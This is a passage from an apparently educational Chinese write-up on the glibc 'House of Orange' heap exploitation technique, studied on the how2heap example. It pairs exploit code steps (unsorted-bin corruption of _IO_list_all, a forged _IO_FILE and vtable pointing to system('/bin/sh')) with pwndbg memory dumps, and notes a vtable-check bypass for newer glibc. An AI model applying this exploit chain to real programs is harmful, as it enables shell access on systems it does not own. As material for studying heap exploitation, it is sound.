          0x601000           0x602000 r--p     1000 1000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x602000           0x603000 rw-p     1000 2000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x603000           0x646000 rw-p    43000 0      [heap]  <========= 0x603000-0x646000
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

3 构造_IO_list_all指针

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;
pwndbg> x/10xg 0x603400
0x603400:   0x0000000000000000  0x0000000000000be1
0x603410:   0x00007ffff7dd1b78  0x00007ffff7dd2510   fd   bk
0x603420:   0x0000000000000000  0x0000000000000000
0x603430:   0x0000000000000000  0x0000000000000000
0x603440:   0x0000000000000000  0x0000000000000000

pwndbg> unsortedbin 
unsortedbin
all [corrupted]
FD: 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603400
BK: 0x603400 —▸ 0x7ffff7dd2510 ◂— 0x0

4构造system(/bin/sh),缩小top chunk

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;
pwndbg> x/10xg 0x603400
0x603400:   0x0068732f6e69622f  0x0000000000000061
0x603410:   0x00007ffff7dd1b78  0x00007ffff7dd2510
0x603420:   0x0000000000000000  0x0000000000000000
0x603430:   0x0000000000000000  0x0000000000000000
0x603440:   0x0000000000000000  0x0000000000000000

5 满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
pwndbg> x/10xg 0x00007ffff7dd2510
0x7ffff7dd2510: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>:  0x00007ffff7dd2540  0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>:   0x00000000fbad2887  0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>:    0x00007ffff7dd25c3  0x00007ffff7dd25c3

6 设置跳板指向可控内存

size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

7 malloc触发利用链

pwndbg> x/10xg 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x000055555577cc30  0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88  0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>:    0x00007ffff7dd1b98  0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>:    0x00007ffff7dd1ba8  0x00007ffff7dd1ba8

利用思路

glibc-2.23之前没有检查,可直接构造假的stdout,触发libc的abort,利用abort中的_IO_flush_all_lockp来达到控制程序流的目的。

glibc-2.23之后增加了_IO_vtable_check

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

要求vtable必须在__stop___libc_IO_vtables__start___libc_IO_vtables之间,这就意味着不能利用任意地址来充当vtable。可以将vtable指向_IO_str_jumps,将fp0xe8偏移覆盖为system函数,fp0x38偏移覆盖为/bin/sh字符串,就能get shell。

glibc-2.27以及之后的源码中,abort中没有刷新流的操作

/* Send signal which possibly calls a user handler.  */
if (stage == 1)
{
  /* This stage is special: we must allow repeated calls of
 `abort' when a user defined handler for SIGABRT is installed.
 This is risky since the `raise' implementation might also
 fail but I don't see another possibility.  */
  int save_stage = stage;

  stage = 0;
  __libc_lock_unlock_recursive (lock);

  raise (SIGABRT);

  __libc_lock_lock_recursive (lock);
  stage = save_stage + 1;
}

因此不再容易利用。


文章来源: http://xz.aliyun.com/t/7266
如有侵权请联系:admin#unsafe.sh